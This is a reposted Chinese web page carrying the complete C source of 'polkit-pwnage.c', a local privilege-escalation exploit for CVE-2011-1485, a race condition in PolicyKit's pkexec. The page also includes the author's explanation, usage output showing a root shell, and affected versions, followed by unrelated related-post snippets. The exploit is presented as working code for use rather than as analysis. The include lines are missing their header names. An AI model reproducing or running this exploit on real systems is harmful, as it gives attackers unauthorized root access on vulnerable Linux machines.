linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」

linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」/*polkit-pwnage.c***==============================*=PolicyKitPwnage=*=byzx2c4=*=Sept2,2011=*==============================***Howdyfolks,**T…

大家好,又见面了,我是你们的朋友全栈君。

/* polkit-pwnage.c

*

*

* ==============================

* = PolicyKit Pwnage =

* = by zx2c4 =

* = Sept 2, 2011 =

* ==============================

*

*

* Howdy folks,

*

* This exploits CVE-2011-1485, a race condition in PolicyKit.

*

* davidz25 explains:

*

* –begin–

* Briefly, the problem is that the UID for the parent process of pkexec(1) is

* read from /proc by stat(2)’ing /proc/PID. The problem with this is that

* this returns the effective uid of the process which can easily be set to 0

* by invoking a setuid-root binary such as /usr/bin/chsh in the parent

* process of pkexec(1). Instead we are really interested in the real-user-id.

* While there’s a check in pkexec.c to avoid this problem (by comparing it to

* what we expect the uid to be – namely that of the pkexec.c process itself which

* is the uid of the parent process at pkexec-spawn-time), there is still a short

* window where an attacker can fool pkexec/polkitd into thinking that the parent

* process has uid 0 and is therefore authorized. It’s pretty hard to hit this

* window – I actually don’t know if it can be made to work in practice.

* –end–

*

* Well, here is, in fact, how it’s made to work in practice. There is as he said an

* attempted mitigation, and the way to trigger that mitigation path is something

* like this:

*

* $ sudo -u `whoami` pkexec sh

* User of caller (0) does not match our uid (1000)

*

* Not what we want. So the trick is to execl to a suid at just the precise moment

* /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed,

* and execl to the suid binary as our very next instruction.

*

* ** Usage **

* $ pkexec –version

* pkexec version 0.101

* $ gcc polkit-pwnage.c -o pwnit

* $ ./pwnit

* [+] Configuring inotify for proper pid.

* [+] Launching pkexec.

* sh-4.2# whoami

* root

* sh-4.2# id

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* sh-4.2#

*

* ** Targets **

* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which

* as of writing uses 0.101, has backported 0.102’s bug fix. A way to check

* this is by looking at the mtime of /usr/bin/pkexec — April 22, 2011 or

* later and you’re out of luck. It’s likely other distributions do the same.

* Fortunately, this exploit is clean enough that you can try it out without

* too much collateral.

*

*

* greets to djrbliss and davidz25.

*

* – zx2c4

* 2-sept-2011

*

*/

#include

#include

#include

#include

#include

#include

int main(int argc, char **argv)

{

printf(“=============================\n”);

printf(“= PolicyKit Pwnage =\n”);

printf(“= by zx2c4 =\n”);

printf(“= Sept 2, 2011 =\n”);

printf(“=============================\n\n”);

if (fork()) {

int fd;

char pid_path[1024];

sprintf(pid_path, “/proc/%i”, getpid());

printf(“[+] Configuring inotify for proper pid.\n”);

close(0); close(1); close(2);

fd = inotify_init();

if (fd < 0)

perror(“[-] inotify_init”);

inotify_add_watch(fd, pid_path, IN_ACCESS);

read(fd, NULL, 0);

execl(“/usr/bin/chsh”, “chsh”, NULL);

} else {

sleep(1);

printf(“[+] Launching pkexec.\n”);

execl(“/usr/bin/pkexec”, “pkexec”, “/bin/sh”, NULL);

}

return 0;

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/148178.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 重定向和转发的区别及应用_重定向发给别人能看见吗

    重定向和转发的区别及应用_重定向发给别人能看见吗重定向和转发的区别:一:重定向与转发的区别1.重定向过程:客户端浏览器发送http请求→web服务器接收后发送30X状态码响应及对应新的location给客户浏览器→客户浏览器发现是30X响应,则自动再发送一个新的http请求,请求url是新的location地址→服务器根据此请求寻找资源并发送给客户。//java代码示例response.sendRedirect(“xxx.jsp或者servlet”);2.转发过程:客户端浏览器发送http请求→web服务器接受此请求→

    2022年9月8日
    2
  • 如何彻底删除2008数据库_excel批量筛选重复人名

    如何彻底删除2008数据库_excel批量筛选重复人名在企业环境中,对磁盘空间的需求是惊人的。数据备份、文件服务器、软件镜像、虚拟磁盘等都需要占据大量的空间。对此,微软在WindowsServer2012中引入了重复数据删除技术。重复数据删除技术通过

    2022年8月3日
    3
  • linux系统怎么数据恢复,linux系统数据恢复

    linux系统怎么数据恢复,linux系统数据恢复程序员的误操作造成数据丢失,忙着一个星期的项目,就这样付之东流了。老板的痛斥、经理的训斥接踵而来。接下来就是没休息、加班,甚至忙到凌晨都不能离开那该死的电脑,都有种想屎的感觉呢?为那些不喜欢备份数据的朋友带来了福音,我们来谈谈数据恢复,这里我们来手把手地教会你如何利用简单的工具来恢复被你删除的数据。工具:hexedit、fdisk下文内容操作均在root环境下完成。hexedit:在linux上…

    2022年5月13日
    43
  • java 刷屏器「建议收藏」

    java 刷屏器「建议收藏」本想做个聊天机器人,最终还是获取不了聊天信息,只能写了个刷屏器,仅供娱乐。importjava.awt.AWTException;importjava.awt.Robot;importjava.awt.Toolkit;importjava.awt.datatransfer.StringSelection;importjava.awt.event.KeyEvent;imp

    2022年5月31日
    26
  • 《linux c 编程实战 》 -我的纠错笔记

    《linux c 编程实战 》 -我的纠错笔记

    2021年9月3日
    47
  • 基于Auto.js的萌猫跳辅助

    基于Auto.js的萌猫跳辅助许久不见,甚是想念被学长唤醒的博客魂ing…这次是一个失去时效性的小脚本,但是其中包括一些东西或许对你们可以有帮助撒一些要点因为Auto.js并没有直接的对于触控位置的监听,所以需要对安卓API进行调用2.涉及对于画布的使用importClass(android.graphics.PorterDuffXfermode);importClass(android.graphics.PorterDuff);constBG_COLOR=colors.parseColor(“#2d

    2022年6月6日
    40

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号